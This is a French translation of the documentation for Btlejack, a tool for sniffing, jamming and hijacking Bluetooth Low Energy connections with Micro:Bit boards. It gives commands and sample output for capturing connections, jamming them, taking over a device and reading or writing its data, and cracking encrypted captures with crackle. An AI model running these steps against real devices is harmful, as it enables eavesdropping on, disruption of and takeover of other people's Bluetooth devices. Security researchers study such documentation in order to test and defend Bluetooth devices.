
Couteau suisse Bluetooth Low Energy
BtleJack : un nouveau canif Bluetooth Low Energy #####################################################
Btlejack fournit tout le nécessaire pour sniffer, brouiller et détourner des appareils Bluetooth Low Energy. Il utilise un ou plusieurs BBC Micro:Bit <http://microbit.org/>_ dotés d'un firmware dédié. Vous pouvez également souhaiter utiliser un Adaptateur Bluefruit LE Sniffer d'Adafruit <https://www.adafruit.com/product/2269>_ ou un Kit d'évaluation nRF51822 <https://www.waveshare.com/wiki/BLE400>_, car nous avons ajouté la prise en charge de ces appareils.
La version actuelle de cet outil (2.0) prend en charge BLE 4.x et 5.x. La prise en charge de BLE 5.x est limitée : elle ne supporte que la PHY non codée à 1 Mbps et ne gère pas les mises à jour de la carte des canaux.
Vous avez besoin d'un système basé sur UNIX (par exemple un Raspberry Pi). Si vous utilisez le BBC Micro:Bit, vous aurez besoin d'un à trois Micro:Bit (trois appareils recommandés) et pour chaque appareil d'un port USB libre. La consommation électrique d'un Micro:Bit est assez faible, vous pouvez donc utiliser un seul port USB et un hub passif pour alimenter les trois unités recommandées.
Si vous connectez 3 microbits simultanément à votre ordinateur, Btlejack pourra écouter sur tous les canaux publicitaires et aura bien plus de chances de capturer la demande de connexion.
Tout d'abord, installez le logiciel client btlejack en Python3 avec Pip :
::
$ sudo pip3 install btlejack
Ensuite, connectez votre Micro:Bit à votre ordinateur avec un câble USB, montez le périphérique de stockage de masse associé (le point de montage doit contenir MICROBIT), puis exécutez la commande suivante :
::
$ btlejack -i
Cette commande programera chaque Micro:Bit connecté à votre ordinateur et les rendra prêts à être utilisés avec Btlejack. Elle utilisera la version de firmware correcte pour la version actuelle du logiciel client, il est donc fortement recommandé d'effectuer cette procédure d'installation du firmware à chaque mise à jour de Btlejack.
Si vous utilisez un Bluefruit LE sniffer ou un Kit d'évaluation nRF51822, veuillez utiliser un programmateur SWD externe pour flasher votre appareil avec ce firmware <https://github.com/virtualabs/btlejack-firmware/raw/master/dist/btlejack-firmware-ble400.hex>_.
Laissez vos appareils connectés et vous êtes prêt !
REMARQUE Cela ne fonctionne qu'avec les systèmes compatibles posix.
Utiliser Btlejack est assez simple. Btlejack peut :
Btlejack essaie normalement de détecter et d'utiliser automatiquement les appareils compatibles connectés (Micro:Bit uniquement pour le moment), mais comme le firmware peut être hacké ou modifié pour fonctionner avec d'autres cartes basées sur nRF51822, il fournit une option spécifique pour permettre la compatibilité avec ces appareils.
L'option -d vous permet de spécifier un ou plusieurs appareils avec Btlejack. Notez que cette option désactivera la détection automatique des appareils, et vous devez ajouter autant d'appareils que nécessaire :
::
$ btlejack -d /dev/ttyACM0 -d /dev/ttyACM2 -s
Tout d'abord, trouvez une connexion existante à cibler avec btlejack :
::
$ btlejack -s BtleJack version 1.1
[i] Énumération des connexions existantes ... [ - 54 dBm] 0xcd91d517 | paquets : 1 [ - 46 dBm] 0xcd91d517 | paquets : 2
La première valeur (en dBm) indique la puissance du signal ; plus cette valeur est élevée, meilleure sera la connexion sniffée.
La deuxième valeur (hexadécimale) est l'adresse d'accès associée, une valeur 32 bits identifiant un lien entre deux appareils compatibles Bluetooth Low Energy.
La dernière valeur est le nombre de paquets vus avec cette adresse d'accès. Plus cette valeur est élevée, plus il est probable que l'adresse d'accès correspondante soit utilisée.
Ensuite, utilisez l'option -f pour suivre une connexion spécifique :
::
$ btlejack -f 0xdda4845e BtleJack version 1.1
[i] Sniffers détectés :
Sniffer #0 : version firmware 1.1
[i] Synchronisation avec la connexion 0xdda4845e ... ✓ CRCInit : 0x2a035e ✓ Carte des canaux = 0x1fffffffff ✓ Intervalle de saut = 39 ✓ Incrément de saut = 15 [i] Synchronisé, capture de paquets en cours ... LL Data : 02 07 03 00 04 00 0a 03 00 LL Data : 0a 08 04 00 04 00 0b 5a 69 70 LL Data : 02 07 03 00 04 00 0a 03 00 LL Data : 0a 08 04 00 04 00 0b 5a 69 70
Si vous utilisez plus d'un microbit, Btlejack parallélisera certaines opérations de sniffing afin d'accélérer la récupération des paramètres de connexion !
L'option -c supportée par btlejack vous permet de spécifier l'adresse BD cible, ou vous pouvez utiliser any pour capturer toute nouvelle connexion créée.
::
$ btlejack -c any BtleJack version 1.1
[i] Sniffers détectés :
Sniffer #0 : version 1.1 Sniffer #1 : version 1.1 LL Data : 05 22 df b4 6f 95 c5 55 c0 0a f6 99 23 40 1d 7b 2f 0a 9a f4 93 01 12 00 27 00 00 00 d0 07 ff ff ff ff 1f 0b [i] Paquet CONNECT_REQ reçu de 55:c5:95:6f:b4:df vers 40:23:99:f6:0a:c0 |-- Adresse d'accès : 0x0a2f7b1d |-- Valeur CRC Init : 0x93f49a |-- Intervalle de saut : 39 |-- Incrément de saut : 11 |-- Carte des canaux : 1fffffffff |-- Délai d'expiration : 20000 ms
LL Data : 03 09 08 0f 00 00 00 00 00 00 00 LL Data : 03 09 08 0f 00 00 00 00 00 00 00 LL Data : 0b 06 0c 08 0f 00 09 41 LL Data : 03 06 0c 07 1d 00 d3 07
Ou vous pouvez également spécifier l'adresse BD cible :
::
$ btlejack -c 03:e1:f0:00:11:22
Une fois une connexion identifiée par son adresse d'accès, vous pouvez la brouiller en utilisant l'option -j :
::
$ btlejack -f 0x129f3244 -j̀
Btlejack est également capable de détourner une connexion existante ; utilisez l'option -t pour cela. Une fois détournée, Btlejack vous donnera une invite vous permettant d'interagir avec l'appareil détourné.
Commencez par détourner une connexion existante :
::
$ btlejack -f 0x9c68fd30 -t -m 0x1fffffffff BtleJack version 1.1
[i] Utilisation des paramètres en cache (créés le 2018-08-11 à 01:48:24) [i] Sniffers détectés :
Sniffer #0 : version firmware 1.1
[i] Synchronisation avec la connexion 0x9c68fd30 ... ✓ CRCInit : 0x81f733 ✓ Carte des canaux fournie : 0x1fffffffff ✓ Intervalle de saut = 39 ✓ Incrément de saut = 9 [i] Synchronisé, détournement en cours ... [i] Connexion détournée avec succès, elle est toute à vous \o/ btlejack>
Utilisez ensuite les commandes suivantes pour interagir avec l'appareil :
Commande discover ^^^^^^^^^^^^^^^^^^^
La commande discover envoie et reçoit des paquets Bluetooth LE et récupère tous les UUIDs des services ainsi que leurs paramètres, ainsi que les UUIDs et paramètres des caractéristiques :
::
btlejack> discover start : 0001 end : 0005 start : 0014 end : 001a start : 0028 end : ffff Services découverts : UUID du service : 1801 UUID de la caractéristique : 2a05 | handle : 0002 | propriétés : indicate (20) \ handle de valeur : 0003
UUID du service : 1800 UUID de la caractéristique : 2a04 | handle : 0019 | propriétés : read (02) \ handle de valeur : 001a
UUID de la caractéristique : 2a00 | handle : 0015 | propriétés : read (02) \ handle de valeur : 0016
UUID de la caractéristique : 2a01 | handle : 0017 | propriétés : read (02) \ handle de valeur : 0018
UUID du service : 1824 UUID de la caractéristique : 2abc | handle : 0029 | propriétés : write indicate (28) \ handle de valeur : 002a
Commande read ^^^^^^^^^^^^^^^
La commande read accepte un seul paramètre, le handle de valeur correspondant à la caractéristique que vous souhaitez lire :
::
btlejack> read 0x16 read>> 4c 47 20 77 65 62 4f 53 20 54 56
Commande write ^^^^^^^^^^^^^^^^
La commande write accepte trois paramètres :
::
btlejack> write <format de données> <données>
Formats de données supportés :
hex : données hexadécimales (ex. "414261")str : chaîne de texte, peut être encapsulée entre guillemets doublesCommande ll ^^^^^^^^^^^^^
Cette dernière commande vous permet d'envoyer des PDU de couche liaison Bluetooth Low Energy, sous forme hexadécimale, comme spécifié dans le Volume 6, Partie B, Chapitre 2.4.
Une fonctionnalité intéressante de Btlejack est la possibilité d'exporter les données capturées vers un fichier PCAP.
Btlejack supporte les formats DLT suivants :
Le fichier de sortie peut être spécifié avec l'option -o, tandis que le format de sortie peut être spécifié avec l'option -x. Les valeurs de format valides sont : ll_phdr, nordic ou pcap (par défaut).
::
$ btlejack -f 0xac56bc12 -x nordic -o capture.nordic.pcap
Le type d'export ll_phdr est utile lors du sniffing d'une connexion chiffrée, car il est également supporté par crackle <https://github.com/mikeryan/crackle>_. Donc si vous voulez sniffer et casser des connexions chiffrées, c'est la voie à suivre.
Vous pouvez également avoir besoin d'indiquer à crackle d'utiliser une stratégie de cassage spécifique, en utilisant l'option -s :
::
$ crackle -i some.pcap -s 1
Btlejack utilise un cache de connexion pour stocker certaines valeurs liées à la connexion afin d'accélérer les choses. Ce cache de connexion peut causer des problèmes, surtout si une adresse d'accès a déjà été vue auparavant.
Ce cache peut être vidé avec l'option -z :
::
$ btlejack -z
Btlejack 2.0 introduit une nouvelle option -w qui vous permet de spécifier un chemin FIFO (existant ou non) afin d'effectuer une analyse en direct des paquets :
::
$ btlejack -c any -w /tmp/blepipe
Vous pouvez même utiliser un FIFO et un fichier de sortie en même temps :
::
$ btlejack -c any -w /tmp/blepipe -o blepackets.pcap
Si vous avez précédemment activé le réseau virtuel Ethernet sur USB (RNDIS), par exemple pour configurer un Raspberry Pi Zero W via USB, vous devez le désactiver à nouveau (c'est-à-dire supprimer dtoverlay=dwc2 de boot/config.txt et modules-load=dwc2,g_ether de boot/cmdline.txt, puis sudo reboot), car cela interférerait autrement avec les connexions USB des sniffers.
Cette version prend en charge les versions 5 et 5.1 de Bluetooth Low Energy, et en particulier le nouvel algorithme de sélection de canal introduit dans la version 5 (CSA #2). Cependant, comme le matériel utilisé ne supporte pas les deux nouvelles PHY ajoutées à partir de la version 5, il ne pourra que sniffer, brouiller et éventuellement détourner des connexions utilisant la PHY non codée à 1 Mbps.
Veuillez également noter que l'implémentation actuelle de CSA #2 incluse dans Btlejack ne prend pas en charge les mises à jour de la carte des canaux pour le moment.
Btlejack détecte automatiquement l'algorithme de sélection de canal utilisé, vous n'avez donc pas à vous en soucier et vous pouvez capturer les paquets comme d'habitude.
Sniffer une connexion BLE 5 existante (qui utilise la PHY non codée à 1 Mbps, et uniquement cette PHY) n'est pas très difficile. Tout d'abord, vous devez spécifier que vous souhaitez cibler une connexion BLE 5, en utilisant l'option -5. Veuillez noter qu'il n'y a aucun moyen de savoir si une connexion existante utilise CSA #2 ou CSA #1, vous devez donc essayer les deux techniques jusqu'à ce que l'une fonctionne.
::
$ btlejack -f 0x11223344 -5
Btlejack récupérera ensuite la carte des canaux utilisée, puis la valeur de l'intervalle de saut :
::
$ btlejack -f 0x11223344 -5 [i] Synchronisation avec la connexion 0x11223344 ... ✓ CRCInit : 0x40d64f ✓ Carte des canaux = 0x1fffffffff ✓ Intervalle de saut = 160
Il essaiera ensuite de récupérer la valeur du compteur PRNG de cette connexion :
::
$ btlejack -f 0x11223344 -5 [i] Synchronisation avec la connexion 0x11223344 ... ✓ CRCInit : 0x40d64f ✓ Carte des canaux = 0x1fffffffff ✓ Intervalle de saut = 160 ✓ Compteur PRNG CSA2 = 5137 [i] Synchronisé, capture de paquets en cours ...
Une fois cela fait, Btlejack est synchronisé avec cette connexion et traitera les paquets comme d'habitude.
Rien de nouveau ici, sauf que vous devez spécifier que vous attaquez une connexion BLE 5, en utilisant l'option -5.
Veuillez noter que vous pouvez optimiser cette attaque en spécifiant également la carte des canaux et l'intervalle de saut à utiliser, en utilisant respectivement les drapeaux -m et -p. Les deux DOIVENT être fournis, sinon cela ne fonctionnera pas.
Je n'ai pas réussi à détourner une connexion BLE 5 pour le moment, car cette attaque est sensible au temps. Mes appareils BLE 5 utilisent une latence de 0, ce qui ne permet aucun délai et entraîne l'échec de cette attaque.
Quand je mettrai la main sur des appareils BLE 5 légitimes, j'améliorerai cela.